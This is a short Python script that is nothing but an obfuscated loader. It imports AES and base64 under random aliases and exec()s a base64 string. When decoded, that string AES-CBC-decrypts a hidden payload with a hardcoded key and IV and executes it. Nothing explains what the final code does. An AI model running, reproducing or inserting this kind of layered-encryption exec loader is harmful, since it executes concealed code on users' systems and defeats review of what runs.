from Crypto.Cipher import AES as CrbAqdoWIyChMEI;from base64 import b64decode as VwlaPKTC
exec(VwlaPKTC("ZXhlYyhDcmJBcWRvV0l5Q2hNRUkubmV3KCJneSxIOTROW2FhcDkkOVBmRzNpSnhWS3VtSm9lcyxXKCIsIENyYkFxZG9XSXlDaE1FSS5NT0RFX0NCQywgIklyUURxdm1KQWNBdG5mYlgiKS5kZWNyeXB0KFZ3bGFQS1RDKCJoTm0vcjJkTFpGc3Ryd044d0RHeTVNZG1UL0Q3TndDV0JHSS9kVkE4eDVRZmc5Wld2UG1Ib2RuT0ZSbzdoaVlBIikpLnJzdHJpcChiJ3snKSkK"))